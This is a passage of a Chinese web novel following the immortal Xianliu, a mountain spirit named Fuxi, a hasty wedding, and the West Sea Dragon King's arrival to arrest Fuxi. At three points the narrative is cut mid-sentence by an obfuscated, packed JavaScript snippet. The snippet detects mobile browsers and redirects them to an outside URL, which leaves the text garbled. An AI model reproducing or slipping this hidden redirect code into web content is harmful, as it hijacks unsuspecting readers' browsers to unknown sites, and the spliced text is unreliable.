帝容撇了撇嘴,本以为献流是最省心的徒弟,不想他也能出这样的事。 两人对视一眼,摇了摇头。 帝容望着两人,怎么夜里值守的仙童一个比一个傻,如今天界选拔的条件摆在哪里,这种人是怎么飞升上来的。 她一挥袖,将身闪到献流的启明殿外,值守的天兵见她来了,忙不迭抱拳行礼,面色中露出半分紧张半分激动。 “天君,您出关了!” 帝容颔首,跨入门中,只见正殿之内灯火通明,烛影跳跃,昏黄的火光勾勒出两个眼熟的身影,正是献流座下两名副将——寻踪,觅影。 帝容闪至两人面前,容色颇有些烦躁。 “天君!”两人一惊,立时半跪下来。 “献流失踪前,去了哪里?”她开门见山,懒得费事。 寻踪道:“东海之滨有凶兽饕餮作祟,神君前去绞杀。” “饕餮?”帝容蹙眉,这凶兽早在千年前就在堙灭在北荒之中,怎么又忽然出现了,莫不是当时没死绝。 “是啊,消息传来时神君怒不可遏,安排好一切,次日便出发了。”觅影冲地容抱拳,“只是他一去不回,我们原本很是担心,可前段时间,西海龙王麟寻来过。” 帝容蹙眉:“她又来掺和什么?” “龙王说神君不慎落入人间,历劫去了,让我们按他之前的嘱托继续在启明殿中工作,不得分心。” 帝容抬手算了算,她并不记得献流命中有此一劫,她阖眼望到星河,不想献流红鸾星动,竟真是历劫去了,还是情劫。 “嘶——”她不免觉得棘手,若只是去尝尝人情冷暖咸淡倒还好,万一去尝试爱恨情长了,麻烦可不小。 天界这样的例子并不少见,若是也摊上个神仙历劫还好,回归仙身后接着爱来爱去就行,要只是个彻头彻尾的凡人就难办了。 况且献流还有婚约在身,红鸾星动个屁啊! 她不耐烦地哼了一声,摆摆袖子:“罢了罢了,这饕餮在此之后还有再现身吗?” 寻踪回:“暂未接到消息,应当已被神君绞杀了。” “听闻上古雪国神族正是灭于饕餮之口,神君作为神族后羿,自然是要报仇的,杀狠了也说不准。”觅影猜测一番,抬眼等待着天君的赞同和表扬。 帝容脸上却出现了一瞬间的心虚,她抬袖咳嗽,以遮掩嘴角意味不明的弧度:“少打听,少揣测,去将我殿中公文尽数搬来,你们一一过完,再送回来由我审查。” “是!”二人异口同声。 帝容一挥袖,身影便如烟雾升腾,霎时不见。 * 荷花池水一夜蓄满,荷叶熙熙攘攘地挤在池边,中心生着几株亭亭玉立的荷花,均未开放。 献流望向池水中自己的倒影,再望向仙力澎湃涌动的掌心,不过一夜,他的仙力居然恢复了五成。 多少有些突然。 一转眼,恰对上转悠到此处的陆眠,他面带微笑,脚步轻盈,看上去心情不错。 “南疏兄弟!”陆眠边朝他挥手,边走过来,“啊呀!荷花池恢复原貌了,山君见了肯定开心。” 献流点点头,望着陆眠这幅春风荡漾的模样:“你有好事?” 陆眠颇有些欣慰地点了点头:“是啊,十一与小侯和离,又恢复自由身了!” “她恢复自由身,与你何干?” 其实那夜他也听见小侯所言,但想着此事私密,就没提脚进来,便蹲在窗框下头,直到三人都走了才出来。 陆眠拍了拍他肩膀:“十一是自由身,我便可以同她诉说我的心意,再也不用担惊受怕道德有损了。” “你喜欢十一?”献流蹙眉,他怎么看不出来。 陆眠颇有些羞涩:“是啊。” “你和她说了么?” “还没有。”陆眠飞扬的五官收回一些,“我拿不准,不敢随意开口。” “那她喜欢你吗?”献流忍不住提脚往陆眠旁边走了一步,颇有些拘谨地看着他。 “我,我也不知道……”陆眠心头一沉,有些发紧,“可我想告诉她,若不鼓起勇气,说不定哪天我出去一趟回来,她已经儿孙满堂了。” 陆眠凑过来,揽住献流的肩膀:“山中无人商量,我给你说说,你帮我推测一番,可行?” 献流有些手足无措:“我,我吗?” 陆眠点头:“山君是个糊涂蛋,小侯是个灶台精,如今我也只能告诉你了。” 陆眠在献流面前踱步,左一圈,右一圈:“十一向来与我亲近,我给她送东西,她也给我送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304800|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你说,这算不算喜欢我?” 献流蹙眉:“若她只是因为礼节呢?” “我要离开扶西山,她哭得稀里哗啦。”陆眠浅笑。 献流:“会不会是谁要离开扶西山,她都这样哭呢?” 陆眠叹口气,抬手支住太阳穴:“那……”陆眠咬咬牙,“她曾拉住我的袖子,让我给她做小。” 献流咬了咬舌头,这个好像有些说不清。 陆眠扶住献流肩头:“她,她还特别真诚地夸赞我,夸我生得俊美。” 献流愣住,回想起昨夜扶西认真的脸庞,虔诚的话语:“那,在什么情况下,一个人会这样真诚地赞成另一个人的样貌?” 陆眠思索一番:“其一,此人生得确实俊美无双,其二,情人眼里出西施,你说,十一这样算不算喜欢我?” 陆眠眼神期待,似乎只等着献流说出那个既定的答案。 一连串的记忆浮现在脑海中,不断地围绕着他的耳廓,他眉头越皱越紧:“应该,应该不是吧……” 陆眠热切的表情似乎被泼了一盆冷水,他昨夜一直没睡好,在榻上翻来覆去,脑海里全是这段时间十一同小侯和他混乱不堪的情绪:“我还是想说。”他似乎下定了某种决心,“我现在就去找十一。” 十一不喜欢也没关系,他总要试一试。 不想刚抬脚,心心念念的声音就出现在他耳边。 “陆眠,我找了你好久,原来你在这里!” 陆眠眼看着十一裙裳飘飞,好似一只欢快的蝴蝶,猛然扑进他的怀里。 他低头,恰看见十一眼底青黑。 “陆眠,我有真心话对你说!”她似乎再也等不及了,“我想了一个晚上,终于想明白了。” “我喜欢你,你送我那么多东西,我也想给你送好东西,你离开扶西山的时候我舍不得你,哭得泣不成声,稀里糊涂和小侯成亲,可看见你回来的时候我特别后悔,莫名其妙地失落,想着新郎是你该多好,而且你还生得这么好看,我喜欢你,我要跟你成亲!” 她一连串说完,陆眠悬在半空中的手终于能心无旁骛地落下收紧,他激动地道:“我也是,十一。” 十一抬手捧住他的脸庞,呵呵笑着:“那我现在可以亲你吗?” 陆眠脸庞爬上红晕:“可以是可以,只是现在旁边……”他分出一点眼神去看旁边门神似的献流,“还有人在呢。” 十一扭了扭嘴唇:“那好吧,我们去找山君,让她给我们大办一场!” 陆眠点点头,颇为羞涩道:“嗯,好。” 献流有些费力地运作着自己的脑袋,送礼还礼,舍不得,诚心的赞美…… 愣神之际,熟悉的声音在耳边响起。 “我的荷花池——”扶西笑着跑过来,十分快活地上头飞了两三圈才跳下来,她咧着嘴笑,忍不住去拍献流的肩膀,“你知道吗?我昨夜见到真身了,枝干可粗壮了,树叶可茂盛了!说不定等拿回来的时候,我又能进阶了!” 她激动的心情溢于言表,眼睛亮晶晶的。 献流抬起手掌:“我的修为,也恢复五成了。” 扶西抬手和他重重击在一处:“太好了!” 陆眠拉着十一兴冲冲迎上来。 “我想同十一成亲,还请山君做个见证。” 扶西退后两步,望着神色认真的两人,不是吧,昨日和离,今日就要成亲? “十一,你想好了?” 十一重重点头。 为防止再做糊涂媒,她熟稔地问起两人。 “陆眠,你喜欢十一吗?” 陆眠羞涩地点头。 “十一,你喜欢陆眠吗?” 十一也羞涩地点头。 扶西正欲也点个头,忽而觉得不对,不能再这么问了,应当换个说法。 “陆眠,你想亲十一的嘴吗?” “十一,你想亲陆眠的嘴吗?” 42. 师妹,你太叫我失望了 “这次又不成了。”卫风两兄妹坐在麟寻对面,神色恹恹。 卫风一说话,便牵扯到嘴角的伤口,他方才舞着天魔杖飞进龙宫,被麟寻打趴在地,震裂了唇角。 麟寻望着卫和有些心虚的神色:“难不成,命书所写,依旧没有发生?”她面上露出些不耐烦,方才正同青泽在一处,跟孩子们欢欢喜喜的,这卫风不管不顾地打进来,属实有些扫兴。 吸取了上一世的教训,这一回麟寻将她二人带上天界,亲至司命殿,由卫和亲自挑选命书。 “我从测星台回来,献流不慎投入妖胎,你又耽搁了许久,这会儿他都快一百多岁了。”麟寻领着兄妹俩进门,嘱咐道,“我先前只说你看上了一个凡人,等会儿别说漏嘴。” 卫和点点头:“是什么妖怪,丑吗?” “鲛人一族,万年之中,从未有丑陋的,你放一百个心。”麟寻微微一笑,卫和望着她神色,自己也轻松不少。 司命看着麟寻身后两人,心下了然,将之前准备好的命书一一排开,供她们选择。 “你看这些,大多都是人妖相恋,至死不渝,破开世俗束缚,同游天地,右护法,你喜欢哪个?”司命笑得官方。 卫和轻轻摩挲着指尖,望着一排整整齐齐,泛着微光的命书:“听闻命书可管凡人命数,也能管得了妖吗?” 司命摆摆手:“情况特殊,我们稍稍用了点小手段,护法不必忧心。” 卫和点点头,指尖滑过,不及细看便随便选了个:“这个吧,最好顺顺当当的,一波三折,似乎也不太合适。” 卫风走上来敲了敲她脑门:“你又不仔细看,别等回来了后悔。” 麟寻侧身让到一边,坐到司命备好的桌案前,茶水点心一应俱全,她便好整以暇地吃吃喝喝。 “这个好,心地善良的小渔女偶然救下受伤的貌美鲛人,鲛人因救命之恩以身相许。”卫和笑意盈盈。 卫风指着后头的字:“你看看背面。” “哦。”卫和翻过来,“谁料一朝身份败露,村头恶霸为取出无上至宝鲛珠,竟抓走小渔女,胁迫鲛人,而后捉妖师起阵作法,将其焚于阵中,爱人惨死,渔女郁郁而终。” “这,太惨了。”卫和放下,又换了一个。 “宰相千金游玩出海,误入风暴,鲛人舍命相救,却被有心之人顶替,百般折磨,大婚当日,真相大白,千金得知自己心意,而鲛人也化作了泡沫。” 卫和捂住胸口,颇有些不满意:“怎么这个也这么惨,没有好结局的吗?” 司命过来,颇有些为难道:“鲛妖寿数长久,若不将他写死,哪里还有三生三世,十生十世。” 卫和点点头,又翻开剩下的几个仔细看过,最后和自家兄长商议一番:“这个吧。” “扬州首富,吃穿不愁,脑子灵光,还有青梅竹马的未婚夫给献流吃一箩筐的醋,误会不多,说开就好,最后也一起死,下一世投胎方便。” 司命点头接过:“待护法入了轮回,我就将这命书投入姻缘炉,只望您这回能得偿所愿啊。” 卫和点点头。 当日想的简单,死过一回,奈何桥上又记起来龙去脉,卫和一拍脑袋,回了魔界。 卫风听完大为光火,不管不顾地就要同麟寻打一场,他似乎认定麟寻定在命书上做了什么手脚,怎么回回都不按既定的轨迹来活。 麟寻蹙眉,也很是不解:“你细细说来,我看看哪里出了错。” 卫和点点头。 她这回投胎在扬州一家百年商户,虽是三房不受重视,可她是独生女儿,生意头脑极为灵光,短短几年便将程家商行的生意扩大了十倍,往来应酬,在扬州很是出名。 加上有个青梅竹马,高中探花的未婚夫,很是受人艳羡。 转折发生在一次出海采珠,她如命书所言遭遇刺杀,被鲛人救下,按理说此时便应该启程回扬州,与鲛人一同查案,寻找他母亲死亡的真相,并在这个过程中互生情愫,和这未婚夫来一个酣畅淋漓的修罗场。 不想她二人竟飞去了一处海外仙山。 “我记得清楚,仙山名叫扶西,里头的山君也叫扶西,并着两个男人,一个女孩。” 他们在仙山耽误了几天,又在回程的楼船上耽误几天,不想回到扬州,已经沧海桑田,世事变幻。 竟已过去了十五年! 程家其他人以为她葬身大海,瓜分了家产,青梅竹马的未婚夫苦苦等待,却被公主看上,做驸马后两三年就因病暴毙。 原本应该上演的精彩剧情,譬如打脸程家一众长辈,将戕害自己的亲戚送进大狱,未婚夫与鲛人的暗暗争锋都没发生。 剧情里人几乎都按时死去了,一切都偏离了预定的轨迹。 可她如何肯认命,收拾行装,拿出十二分的精神,用以前攒下的家当东山再起,一面做生意,一面同鲛人查找他母亲死亡的真凶。 待一切真相大白,捣毁地下的黑珠场时,鲛人也向卫和剖白了自己的心意,可惜卫和一心沉迷于扩张产业,赚银买金,加上人妖殊途,她便抬手婉拒了。 本想着他应该会离开人间,回到海底,可后头的事情还是对上了命书轨迹,鲛人身份意外暴露,加上城中的连环命案,捉妖师前往镇压。 将死之时,怀信问她:“你也不相信我吗?” 她脑海里是众人可怖的死状和当初甲板上横七竖八的尸体。 太像了…… 于是她沉默下来。 怀信轻笑一声,顾不及红生的喊叫,流下一颗绝世宝珠,泣血而亡。 卫和掏出那颗珠子在手心里转了一圈,面色沉重:“也不是不相信,就是,就是……” 麟寻摇头:“你就是不相信。中途的变故打乱了情节进展,原本该让你和他感情升温的人和事不复存在,你自然就不会相信他了。” 卫和低头。 “也不必太过忧虑,至少他是爱上你的。”麟寻安慰卫和一番,“我不曾做过什么手脚,我的心情与你一样,只希望献流能爱上你,自请退婚,我好得自由。” 麟寻蹙眉思索,梳理着来龙去脉,极为敏锐地捕捉到两世情劫的变故所在。 “我记得你说,在加罗国做公主时,来了个叫扶西的道长?” 卫和恍然大悟:“对!是她!”她对比着二人面容,“不错,就是那个扶西山君,她们是同一人。” 扶西山君? 麟寻冷哼一声,无名小卒罢了。 卫和历经两世,多少有些信心不足,她忍不住发问:“你,为何不喜欢献流,听闻你们青梅竹马,情意深重,你真舍得将他让出来。” 平心而论,卫和觉着献流有这张脸便足够了。 麟寻摇摇头:“青梅竹马,是,情深义重,那是半分没有。”她拍了拍卫和的肩头,“你放心,第三世我给你安排得明明白白,定然不会再有让人捣乱的机会。” 卫风哼了一声,双手抱在胸前:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14314890|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最好是,若再出差池,我上门宰了你。” 麟寻点头:“若再出差池,我站着给你打一顿,绝不还手。” 卫风哈哈大笑,指着麟寻道:“本座记下你这句话,我小妹自幼没吃过苦,要早知道你这主意嗖成这样,我还不如直接将献流绑来魔界,还省了这些功夫!” 麟寻懒得搭理他,只对卫和道:“你放心去,那什么扶西山君,我来解决。” 卫风附和:“我也去,把她抓去魔界干苦力,给她吃点苦头!” 麟寻啧了一声,抬手:“不必,这事,我去办就好。你们登天,去选下一世的命书吧。” 卫风愤愤不平,还欲再争两句,却被卫和拉住,见小妹脸色不虞,轻轻摇头,他砸吧着嘴,只告诉自己算了算了。 两人刚走,便有人通传,说是瑶池仙子阿岚求见。 麟寻愣了愣,眼看着阿岚轻飘飘地飞进来,还带了颗硕大的蟠桃。 “殿下久不登天,我只好上门谢过了。”她眉眼弯弯,全然不见当初的愁色与惊惧,“当日若非殿下,我可能真被灵光那厮给害了,救命之恩,无以为报。”言罢她跪下,朝麟寻磕了个头。 麟寻将她拉起来:“举手之劳,仙子挂怀了。” 阿岚点点头,脚尖点地,便想离开,谁料麟寻一把抓住了她手腕:“我有疑问,仙子方便答两句吗?” “你说。” “天界传闻,你与灵光在凡间历劫相识,至死不渝,所以才成就天上的这段佳缘,为何?” 阿岚摆摆手,五官皱在一起:“提到这个我就来气,不过一本小小的命书,便能牵动我的喜怒哀乐,凡间之事无法改变,谁料回归天界,他依旧念念不忘,可这贱人!”她咬牙切齿,“不过是馋我的身子罢了!什么成婚,什么恩爱,都是做给外人看的,他学着凡间那一套企图让我就范,我一开始只死命地逃,可他在众仙面前装样,让人家以为他很包容,是我不知满足。 后来,我只能装作顺从,百年来,我策划了数次逃亡,只有遇到你的那一次是成功的,若再不成,估计也就只有一个轻飘飘的讣告了。” 她握住麟寻的手:“是你救我于水火,殿下,谢谢你。” 麟寻愣住,心海中思绪翻涌:“你在人间爱他至深,归天后还会有这样的情绪吗?” 阿岚叹气:“起初是有的,那段时间过得很是难受,人间的我也是我,我不知道该如何剥离出来,是以灵光求娶我时,我居然有些开心。如此看来,果真是个大劫。” “那你如今,还爱他吗?” 阿岚重重摇头:“凡尘一事,过眼云烟,从前是我看不开,如今想通了,命书而已,它可以左右凡间的我,又凭什么左右真正的我。”阿岚的眼睛亮亮的,“我就是我,区区命书,别妄图改变我!” 麟寻脑袋嗡嗡作响,面前阿岚的脸扭曲变幻起来,竟化作了献流的模样。 “师妹,你太叫我失望了。” “凡尘一梦,不过尔尔。” “我自是我,即便有坎坷的命书,至死的爱意,那也不是我。” “殿下,殿下?” 阿岚焦急的声音传入耳中,麟寻顿时回过神来:“仙子辛苦,快回去休息吧,灵光犯下大错,以后也不会去烦扰你了。” “嗯。”阿岚福身,“殿下,我见你脸色不大好,也快些休息吧。” 麟寻点点头,望着她离去的背影若有所思。 她是不是,不该这么做…… 43. 这里是东海! “二月十八,上上吉日,这是安阳老头说的。”扶西翻找着屋子里的一堆书册,“我之前也从人间买了本老黄历,找不着了。”她一边嘟囔,一边翻找。 献流立在她身后,往前几步,手指蜻蜓点水般划过一片片书脊,最后十分丝滑地将扶西找了半晌的书递到她跟前。 扶西目光闪闪,惊喜地接过来:“你是怎么找到的?” 献流轻咳一声:“这屋子,可是我垒起来的。” 扶西呵呵笑了两声,拿着书走出房门,心想他对屋子里书籍摆放的位置都那么精确,那她放的那些书岂不是都被摸了个遍,她又回过头去,望着献流那双似笑非笑的眼,心头涌上阵阵虚寒,只得加快脚步。 安阳捋着胡子,眼睛微眯看书:“又有喜事,这回是谁?”他随口问两句,随即用手指按住日期,“你瞧,我的记性向来很好的!就是二月十八。” 扶西面色稍有些尴尬:“是十一同陆眠。” 安阳眯眯眼瞬时睁大:“十一?她不是已经和小侯成亲了吗?” 扶西摆手:“离了,早就离了。” 安阳将她上上下下扫视了一边,撇着嘴道:“上梁不正下梁歪。” 扶西面色不虞,抬手扯住安阳衣襟:“你胡说八道,之前的误会明明都说清楚了,你还在这里坏我名声。” 安阳不好意思地笑了两声:“哎呀,几百年了,一下子给忘了,我给你赔罪,赔罪哈。”他贼兮兮地扯开话题,“要办得这么赶吗?只有几天准备,来得及?” 扶西放开他衣襟,努了努嘴:“陆眠只怕夜长梦多,叫我尽快给他们操办了,到时候你过来喝喜酒,咱俩给他们充当下高堂。” 安阳嘿嘿笑了两声,戳了戳扶西的背:“你给人家办得欢,你呢,什么时候才成亲生子?” 扶西本欲搪塞,可经忍不住细细思索起来:“长了几千年,花是一回都没开过,传粉的也没有,哪里来的生子。”扶西转身凑过去,“话说当时你是怎么生的红生?” 安阳老头神色变幻,面容扭曲了好一阵,眨巴着眼睛气鼓鼓的:“自然是开花结果,落子发芽。” 她们这些木头神仙开花很是少见,有的万年不开,若遇到心动之人,开花结果一气呵成,生他五六棵小苗苗不成问题,扶西好奇心立刻上来:“老头,叫你心动之人是谁?” 安阳冷哼一声,用拐棍戳了戳扶西的脚:“关你屁事,滚滚滚。” 扶西便也顺从地跑出房门,末了又折回来一个头:“老头,我的婚事自然也是关你屁事!” 安阳涨红了脸,嗫嚅半晌,愣是没吐出一个字来。 * 彩绸飘飘,鸟兽齐聚,距离扶西山遭难已近半年,山里又有喜事了,虫鸣鸟叫不绝于耳,从前还是人形的伙伴们此刻依旧不曾恢复人身,有的还不会说话,便只围着穿着大红喜服的十一陆眠二人转圈跳跃。 “山君,敬你一杯。”十一笑意盈盈,口脂艳红,面容羞怯。扶西细看,确实与从前和小侯成亲时的表情不大一样。 扶西一饮而尽:“十一,陆眠要是欺负你,本山君收拾他。” 十一含羞带笑地看了看旁边的陆眠,抿了抿唇:“山君,这回是真的,陆眠一定会对我好的。” 陆眠也连忙点头:“山君放心。”他目光触到在一旁被动物们围着的献流,便也上前向他敬酒,“南疏兄弟。” 献流小心翼翼地扒下抓在自己衣角上的松鼠:“恭喜你。” 喝酒的间隙里,他忍不住去看扶西,只见她满面红光,畅饮不停,很是快活,连续喝了几坛,隐隐有些晃悠的势头。 他眼疾手快地移过去,揽住扶西的肩头,目光瞬时和迷迷糊糊的扶西对在一处:“我见你要摔倒了。” 扶西立时清醒过来,她晃晃脑袋,手忙脚乱地谢过,便拉着十一陆眠拜天地去。 她坐在两人前方,估摸着时间差不多了,便朝立在一边的小侯道:“安阳老头呢?怎么还没来。” 小侯凑过去:“山君,他喝昏头了。”顺着小侯的手望过去,只见安阳喝得不省人事,大字躺在地上,嘴里嘟嘟囔囔,不知在说些什么。 扶西叹口气,强忍下想踢他一脚的冲动,对着空气啪啪扇了几掌泄愤,而后站到大桑树下:“你们拜我俩吧,山里头最老的就我们了。” 十一陆眠相视一笑:“好啊。” “一拜天地——” “二拜高堂——” “夫妻对拜——” 小侯拉着嗓子说话,嘴咧得老大,在众人众鸟众兽的欢声笑语里,大家伙簇拥着两人,将他们塞进屋子里。 扶西见两人进入房中,一颗莫名悬着的心放下来不少,这次应该不会又找她和离吧。 算了,能过多久过多久,说来说去都是命太长的缘故。 动物们四散而去,唯有献流还立在外头,他见扶西出来,上前一步。 “你怎么不去跟他们吃喝,小侯都玩疯了。” “他变回原形玩的。” “哦。”扶西往前走几步,不知为何,只觉得献流行在自己身侧,总隔着段不远不近的距离,弄得她心痒难耐,想说两句,又不知说什么。 直接跑开吧,她也不太想。 “方才你说你与老桑树年纪最大,那桑树多大了?” 扶西摇头:“自我发芽,她就在这里,谁知道几岁了。”她一面说,一面伸了个懒腰。 “镇山石呢?” 扶西蹙眉:“似乎同桑树一样。” 献流上前,握住她手腕:“你跟我去看。” 扶西只觉得皮肤一热,连着脸颊也有些烫,双脚僵硬,几乎是被献流扯过去的。 镇山石因为前头被扶西狠狠撞了一回,掉了个角,差点裂成两半,风吹日晒一段时间,竟又自己长了回来。 扶西见怪不怪:“你可知我们为何叫它镇山石?” 献流微笑着摇头。 扶西围着这石头转,一面拍了拍:“这石头灵得很,能引雷,能出水,还有四溢的灵气。” 献流笑了笑:“你可知我发现了什么?” 不等扶西回答,他覆手其上,镇山石瞬时光芒大作,金色的流光从他掌心延伸而出,像密密麻麻的植物根系般往下延伸,到达地面相接的地方后扩散更大,直至布满整座仙山。 扶西转身,望着延伸到海岸线的金光:“这是?” “这石头,说准确一点,应该是最初的扶西山,整座山体都是它。”献流如是说。 扶西咧嘴一笑:“你想说,这座山里,年纪最大的应该是这块镇山石。” 献流点点头。 他朝扶西那边走了两步,双唇刚刚张开,话还没出口,忽有数丈高的海浪席卷而来。 天空中电闪雷鸣,乌云压顶,扶西耳膜震荡,隐隐可闻怖人的咆哮之声。 倒灌的海水迎面扑来,献流熟门熟路地揽住她的腰身,两人稳稳当当地落在了镇山石上。 “扶西是谁?” 未见其人,先闻其声,悠远空旷的声音不知从哪里传来,瞬间包裹了整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14323862|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座仙山。 扶西惊诧地望向四周,她实在是记不清,这到底是又得罪谁了啊! 面前青光乍现,灼得扶西睁不开眼,她抬手护住眼睛,只留下指间的一个小缝以窥探来人。 光芒渐歇,只见云层之上立着数十个手持刀枪斧戟的兵士,虾头蟹壳。 “虾兵蟹将?” “谁是扶西?”带着一丝不耐烦的声音重新响起,那个被青光裹着的人影也如轻盈的落叶落地扶西山。 “还不快出来。” 她说话极有气势,扶西只觉得胸口激荡,腿脚发软,在镇山石上立了一会儿,她便站不住了,只得缓缓地抬起手,带上个颇为拘谨的笑容:“我,我就是扶西。” “滚下来。” “得嘞。”扶西能屈能伸地很,立刻从石头上跳下来,在底下滚了一圈,恰好来到神秘人脚跟前。 她抬起头,只看得到她盛气凌人的鼻孔,光华无两的衣角,泛着青光的两个角。 “不知是哪位神仙尊驾到访?”扶西拍着袖子上的灰起身,拍了拍面前这人的衣袖,“有话好好说,何必动水动浪,伤了和气。” 献流蹙着眉,在看清来人面容后愣了愣:“师妹?” 麟寻目光睥睨地扫过去,将这站在扶西身后的男人上上下下扫了一遍:面庞同师兄确有几分相似,身形相差不大。 她冷哼一声,她可不记得自己有个真身就是两片叶子的师兄。这年头,也有人敢随随便便开口乱认,也不看清楚她是谁。 “你叫我什么?” 扶西打量她神色,可见这位神君此刻异常不爽,只因献流那句小小的师妹。 麟寻身后有副将前来,大喝一声:“西海龙王麟寻在此,尔等还不速速就擒!” 扶西大骇:“就擒?擒我们做什么?我们什么都没做。” 麟寻冷哼一声:“你扰乱了天界战神与魔界右护法的三世情劫,罪无可恕,念在他们都是良善之人,自不愿与你多计较。”她踱至扶西身前,用手紧紧按住她肩膀,冷冷笑着,“这段时间,你便随我回西海,海牢之中,十八种刑具一应俱全,别再给我作妖。” 扶西面露不快:“神君啊,您是不是弄错了,我连他们两个的面都没见过,怎么会扰乱他们历劫呢!” 麟寻步步紧逼:“加罗国公主与摇光,扬州程娘子和鲛人怀信。” 此话一出,扶西沉默下来。 天杀的呐!她怎么知道这是两尊大佛的转世。 献流快步上前,蹙眉按住麟寻禁锢着扶西的手臂:“师妹,我在此处,哪里去了人间?” 麟寻掀起眼皮,将目光落在献流触碰自己的手掌上,嘴角一拉,献流整个人便砰的一下被震开三尺。 他倒在地上,喉咙里涌出腥甜。 “你胆子倒是大,也敢冒充师兄。”她抬手弹了弹袖子上的并不存在的灰尘,“假冒之前,最好看看自己几斤几两,师兄乃是四海闻名的战神,仙力无边,至于你,不过是个修行怠惰的两片草芽。” 她目光转向扶西:“你山中生灵被你带坏了,上梁不正下梁歪。” 扶西眼睛快速眨巴着,扭头就想跑,却被从云层上,海水里现身的虾兵蟹将死死扣住。 麟寻偏了偏头,他们便将献流也扣下。 “带回西海龙宫。” “龙王殿下!”扶西大喊,“您是西海龙王。” 麟寻以为她要说什么,不禁发笑:“所以呢?” 扶西抬手摸了摸鼻子,中气不足:“这里是东海。” 44. 她向来孝顺,不会忤逆长辈的 “山君——” 听着十一越来越远的哭声,扶西认命地闭上了眼睛。她只记得耳畔的呼呼风声和献流那几乎可以夹死苍蝇的眉头。 是了,她可从没忘了这人是如何信誓旦旦地表明自己身份的,什么天界战神,天君二弟子,呵! 身子破开冰凉的海水,扶西也不忘在这人耳边吹两句:“西海龙王麟寻与天界战神献流同出天君门下,是地地道道的亲师兄妹,你算什么,居然敢叫她师妹。” 献流长叹一口气,他似乎确实该好好梳理一番事情的经过了,身上的禁制还未全部破除,麟寻认不出他无可厚非,可她口口声声说自己在凡间历劫,还是同魔界右护法共历情劫,这就有些匪夷所思了。 他人在这里,和右护法历劫之人又是谁?再者,她凭何断定历劫之人就是自己。 “她,确实是......” 扶西飞来眼刀,献流只好将到嘴边的话掉了个头:“西海龙王。” 诚然,他所有的自证他证无一例外通通落空,除非天君现身,扶西决计不会再相信他了。 扶西果然哼了一声:“这还要你说,真是官大一级压死人。”她被推着往前走,“她不会真对我做什么吧?” “大不了我们也闹上天去,若她所言属实,也罚我下凡历劫好了。” 献流轻轻摇了摇头:“历劫哪是你说得那么轻松,若其中出了差错,归位之时轻则修为尽失,重则灰飞烟灭。” 扶西打了个冷战,算了,还是叫龙王打她一顿好了。 大殿之中冷冷清清,将两人揣进殿内,那座重达千钧的门便被缓缓合上,原本亮如白昼的大殿被沉闷的黑色取代,扶西哆嗦了一下,往献流旁边挪了点。 “龙王殿下!”扶西咬咬牙伏倒在地,“我们真不是故意的,谁知道战神他老人家在凡间历劫啊,所有的巧合都是意料之外,我愿意焚香祈福,给他老人家积攒功德,您大人有大量,就放过我吧!”言罢她又哐哐磕了三个响头。 麟寻轻笑一声,见扶西这样没有骨气胆量,冲天的怒气也下来不少。 “我问你,一个小小地仙,不好好呆在山里,去人间做什么?” 扶西抹去一些无关紧要的细枝末节,只说自己受邻居所托,往人间营救渡劫失败的好友。 “别的什么都没做?” “没了呀!” 麟寻抬手,掌心雷电交织,轰隆声响:“真没了?” 扶西绞尽脑汁,最后小声道:“嗯,那个,战神他老人家在人间欺骗小姑娘,我托梦提醒了两句……这,应该不算吧。” “多管闲事。”麟寻望着扶西怂包的模样,手指动了动。 扶西望着她指尖跳动的电流,微微的动作仿佛释放着进攻施刑的信号,她紧闭双眼,一咬牙,便手脚并用挂在了献流身上。 望着她不住颤抖的身躯,麟寻轻叹口气,收回双手负在身后:“你怕什么?敢做不敢当?” 扶西脑袋搁在献流肩头,说话也结结巴巴:“我,我做的时候又没想到这些,殿下要杀要剐,我都不认!” 献流感受着扶西颤动的幅度,忍不住轻笑出声。 “好啊,第二世的时候你敢说自己没做手脚?好好的凡人,飞去你仙山做什么?” 扶西吞了吞口水,依依不舍地从献流身上爬下来,这回她信心有些了:“那是他们自己飞来的,还砸坏了我的洞府,留下来修个新的给我再走,也不过分吧……” 她说完抬眼去观察麟寻的表情,这位龙王身姿挺拔,眉目深邃,标致的五官中满是威严,不见半分柔情,扶西忽然有些后悔自己方才所作所为,她应该一个劲地求饶认错,争取宽大处理才是。 这人看着惹毛了不好收场啊。 “师兄在四海素有贤名,仙魔两界恋慕他的女子不在少数,谁知你是不是那其中之一,故意设计,坏他情运。” 听到这里,扶西整个身体都难受起来,前头只说她无意扰乱,倒还能接受,无意之举,她也不想。 